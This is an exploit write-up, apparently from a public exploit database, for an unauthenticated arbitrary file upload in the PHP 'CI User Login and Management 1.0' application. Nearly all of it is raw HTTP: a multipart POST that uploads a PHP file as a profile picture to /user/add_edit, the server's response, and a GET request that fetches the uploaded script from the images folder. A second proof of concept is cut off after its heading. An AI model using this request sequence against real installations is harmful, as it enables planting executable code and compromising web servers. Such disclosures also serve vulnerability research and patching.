# Exploit Title: CI User Login and Management 1.0 - Arbitrary File Upload # Dork: N/A # Date: 2018-10-30 # Exploit Author: Ihsan Sencan # Vendor Homepage 1: http://www.webprojectbuilder.com/item/user-login-and-management # Vendor Homepage 2: https://sourceforge.net/projects/user-management-system/ # Software Link 1: https://kent.dl.sourceforge.net/project/php-user-login-management/PHP_CI_user_login_and_management-1.zip # Software Link 2: https://netix.dl.sourceforge.net/project/user-management-system/PHP_CI_user_login_and_management-1.zip # Version: 1.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # POC: # 1) # http://localhost/[PATH]/user/add_edit # # http://localhost/[PATH]/assets/images/[FILE] # POST /[PATH]/user/add_edit HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: multipart/form-data; boundary=--------------------------- 212160558019833203481522967977 Content-Length: 727 -----------------------------212160558019833203481522967977 Content-Disposition: form-data; name="profile_pic"; filename="phpinfo.php" Content-Type: application/force-download -----------------------------212160558019833203481522967977 Content-Disposition: form-data; name="fileOld" -----------------------------212160558019833203481522967977 Content-Disposition: form-data; name="users_id" 1 -----------------------------212160558019833203481522967977 Content-Disposition: form-data; name="user_type" admin -----------------------------212160558019833203481522967977 Content-Disposition: form-data; name="submit1" -----------------------------212160558019833203481522967977-- HTTP/1.1 200 OK Date: Tue, 30 Oct 2018 06:36:42 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Set-Cookie: ci_session=599e598042864923e909b54019831db9d06c116f; expires=Tue, 30-Oct-2018 08:36:42 GMT; Max-Age=7200; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache refresh: 0;url=http://localhost/[PATH]/user/login Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 GET /[PATH]/assets/images/phpinfo_1540881402.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: ci_session=599e598042864923e909b54019831db9d06c116f Connection: keep-alive HTTP/1.1 200 OK Date: Tue, 30 Oct 2018 06:37:08 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 # POC: # 2) # http://localhost/[PATH]/user/add_edit #